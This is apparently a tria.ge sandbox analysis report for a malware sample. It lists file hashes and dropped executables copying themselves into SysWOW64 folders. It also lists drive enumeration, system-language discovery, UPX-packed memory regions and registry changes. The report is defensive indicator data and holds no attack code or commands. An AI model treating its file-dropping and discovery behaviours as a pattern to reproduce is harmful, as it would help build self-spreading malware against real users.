Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
60s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
25/09/2024, 03:08
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe
Resource
win7-20240903-en
windows7-x64
14 signatures
150 seconds
General
-
Target
f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe
-
Size
71KB
-
MD5
f50a49a6534625d46a74c5998070604e
-
SHA1
8c4b863effc28a53954d5505d8e17bb4d447e75b
-
SHA256
ae40014fceb0a978dd6d8ac09fac07c498374f371fc6d91f4e28a253db79bf92
-
SHA512
3a66d6ba80f92373dfa8379e6865149d6ebf077c2b6886b64932ac33ab256895fae2869bef64dd4cdba6c0f3820c6727104c4bff65798b3da408a348b7a6df8e
-
SSDEEP
1536:0FeRfqGyNjJZDbZ26wWqyVmtxxPKckwzewBrCyPjlIo54:qetmJZDbZ2hWqyVw/PKBwbb6oS
Malware Config
Signatures
-
Executes dropped EXE 64 IoCs
pid Process 2928 qUXeGcR.exe 732 MzrKRlk.exe 1276 MzrKRlk.exe 4968 MzrKRlk.exe 4324 MzrKRlk.exe 2612 MzrKRlk.exe 2280 MzrKRlk.exe 2732 MzrKRlk.exe 1560 MzrKRlk.exe 1908 MzrKRlk.exe 5064 MzrKRlk.exe 4456 MzrKRlk.exe 5024 MzrKRlk.exe 4992 MzrKRlk.exe 1292 MzrKRlk.exe 2440 MzrKRlk.exe 4752 MzrKRlk.exe 4580 MzrKRlk.exe 2000 MzrKRlk.exe 4720 MzrKRlk.exe 3788 MzrKRlk.exe 2876 MzrKRlk.exe 4824 MzrKRlk.exe 4072 MzrKRlk.exe 1256 MzrKRlk.exe 5028 MzrKRlk.exe 2020 MzrKRlk.exe 1572 MzrKRlk.exe 4832 MzrKRlk.exe 3696 MzrKRlk.exe 3508 MzrKRlk.exe 2016 MzrKRlk.exe 3968 MzrKRlk.exe 640 MzrKRlk.exe 696 MzrKRlk.exe 4108 MzrKRlk.exe 1416 MzrKRlk.exe 1272 MzrKRlk.exe 1732 MzrKRlk.exe 2320 MzrKRlk.exe 3912 MzrKRlk.exe 2520 MzrKRlk.exe 4620 MzrKRlk.exe 1396 MzrKRlk.exe 4704 MzrKRlk.exe 3532 MzrKRlk.exe 3688 MzrKRlk.exe 1620 MzrKRlk.exe 1724 MzrKRlk.exe 1828 MzrKRlk.exe 4124 MzrKRlk.exe 332 MzrKRlk.exe 744 MzrKRlk.exe 5048 MzrKRlk.exe 1220 MzrKRlk.exe 1660 MzrKRlk.exe 2296 MzrKRlk.exe 3156 MzrKRlk.exe 4512 MzrKRlk.exe 4192 MzrKRlk.exe 672 MzrKRlk.exe 2012 MzrKRlk.exe 740 MzrKRlk.exe 3880 MzrKRlk.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\i: Process not Found File opened (read-only) \??\v: Process not Found File opened (read-only) \??\r: MzrKRlk.exe File opened (read-only) \??\e: Process not Found File opened (read-only) \??\j: Process not Found File opened (read-only) \??\e: MzrKRlk.exe File opened (read-only) \??\g: MzrKRlk.exe File opened (read-only) \??\n: Process not Found File opened (read-only) \??\w: Process not Found File opened (read-only) \??\m: Process not Found File opened (read-only) \??\i: Process not Found File opened (read-only) \??\q: Process not Found File opened (read-only) \??\j: Process not Found File opened (read-only) \??\t: MzrKRlk.exe File opened (read-only) \??\k: MzrKRlk.exe File opened (read-only) \??\y: MzrKRlk.exe File opened (read-only) \??\x: Process not Found File opened (read-only) \??\v: Process not Found File opened (read-only) \??\o: Process not Found File opened (read-only) \??\h: Process not Found File opened (read-only) \??\l: Process not Found File opened (read-only) \??\e: Process not Found File opened (read-only) \??\h: Process not Found File opened (read-only) \??\w: Process not Found File opened (read-only) \??\s: Process not Found File opened (read-only) \??\v: Process not Found File opened (read-only) \??\z: Process not Found File opened (read-only) \??\w: Process not Found File opened (read-only) \??\i: Process not Found File opened (read-only) \??\p: Process not Found File opened (read-only) \??\y: Process not Found File opened (read-only) \??\q: MzrKRlk.exe File opened (read-only) \??\h: MzrKRlk.exe File opened (read-only) \??\y: Process not Found File opened (read-only) \??\u: Process not Found File opened (read-only) \??\g: Process not Found File opened (read-only) \??\m: Process not Found File opened (read-only) \??\n: Process not Found File opened (read-only) \??\t: Process not Found File opened (read-only) \??\q: Process not Found File opened (read-only) \??\i: MzrKRlk.exe File opened (read-only) \??\i: MzrKRlk.exe File opened (read-only) \??\l: Process not Found File opened (read-only) \??\h: Process not Found File opened (read-only) \??\x: Process not Found File opened (read-only) \??\u: MzrKRlk.exe File opened (read-only) \??\y: Process not Found File opened (read-only) \??\y: Process not Found File opened (read-only) \??\t: Process not Found File opened (read-only) \??\g: MzrKRlk.exe File opened (read-only) \??\g: Process not Found File opened (read-only) \??\x: Process not Found File opened (read-only) \??\p: Process not Found File opened (read-only) \??\p: Process not Found File opened (read-only) \??\k: MzrKRlk.exe File opened (read-only) \??\l: Process not Found File opened (read-only) \??\o: Process not Found File opened (read-only) \??\y: Process not Found File opened (read-only) \??\i: Process not Found File opened (read-only) \??\p: Process not Found File opened (read-only) \??\x: Process not Found File opened (read-only) \??\q: MzrKRlk.exe File opened (read-only) \??\j: MzrKRlk.exe File opened (read-only) \??\i: MzrKRlk.exe -
Drops file in System32 directory 64 IoCs
description ioc Process File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe MzrKRlk.exe File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe MzrKRlk.exe File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe MzrKRlk.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe MzrKRlk.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe MzrKRlk.exe File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe MzrKRlk.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe MzrKRlk.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe MzrKRlk.exe File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe MzrKRlk.exe File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe MzrKRlk.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe MzrKRlk.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe MzrKRlk.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe F0wuFeP.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe MzrKRlk.exe File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe MzrKRlk.exe File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe MzrKRlk.exe File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe MzrKRlk.exe File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\MzrKRlk\F0wuFeP.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found File created C:\Windows\SysWOW64\F0wuFeP\MzrKRlk.exe Process not Found -
resource yara_rule behavioral2/memory/2928-8-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/files/0x0008000000023479-9.dat upx behavioral2/memory/2928-24-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/732-28-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1276-30-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4968-32-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4324-34-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2612-36-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4752-39-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2732-41-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2280-38-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1560-43-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1908-45-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/5064-47-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4456-49-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/5024-51-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4992-53-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1292-55-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2440-57-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4752-59-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4580-61-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2000-63-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4720-65-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3508-70-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2876-68-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3788-67-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4824-72-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4072-74-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1256-76-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/5028-78-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2020-80-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1572-82-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4832-84-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3696-86-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2016-89-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3968-91-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/640-93-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/696-95-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4108-97-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1416-99-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1272-101-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1732-103-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2320-105-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3912-107-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2520-109-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4620-111-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1396-113-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4704-115-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3532-117-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3688-119-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3156-122-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1724-124-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1620-121-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1828-126-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4124-128-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/332-130-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/744-132-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/5048-135-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1220-136-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/1660-138-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/3564-141-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/2296-140-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4428-144-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral2/memory/4512-143-0x0000000000400000-0x000000000043E000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 7 IoCs
pid pid_target Process procid_target 27404 9608 Process not Found 7864 34380 Process not Found 25960 19708 Process not Found 13472 33168 Process not Found 8020 30876 Process not Found 3763 10780 28572 Process not Found 34720 33340 Process not Found -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language F0wuFeP.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MzrKRlk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Process not Found -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000262c84e5c2a8b24db398d3ff1cc7357000000000020000000000106600000001000020000000b13a45bc98feef6e69c20fbf95b0f523bc797b6dc1c0317a647d769500927c6f000000000e8000000002000020000000462e9713d7f05941af21fbe2f7b0e9a743d8716edbd347bdbba6130a1a34d3c820000000a1ab9760a109cf4dc925139bc301a13cdf1764cc583b93c15f1d67a91bf20513400000000c76f2e259387a35b80d976adbd2a29996d977d034f89b4955c6622fe60aad6b3dd6765fdeb7089083f78a320827aa39866a2818b91a235052f3786bf495f292 IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 2005cb58f80edb01 IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{81CAD1CC-7AEB-11EF-8D5B-D6586EC96307} = "0" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50f2b758f80edb01 IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31133432" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1447209910" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1448147266" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31133432" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000262c84e5c2a8b24db398d3ff1cc735700000000002000000000010660000000100002000000051f4ef7367d29567ae4b63a52635ceee5535631b60f877209470385774912a75000000000e800000000200002000000027ffcfcee07f45bd8075d252c2db39127dcecdb1cab27d54844ea9da88afa86020000000788a4425d5e15eb89d394692ddac5d2fd35162c69c907b4b23fe95599299104240000000f3de9b54c744ee426670a2ba857d8bcaf7320d15f56181873993ac0dabbe9543e19956501a76b2b6a2e7ede0fa6293a1e97419ef27c315ff9b63c9fd5e6f9c4a IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1448147266" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31133432" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1447209910" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31133432" IEXPLORE.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe 1952 f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
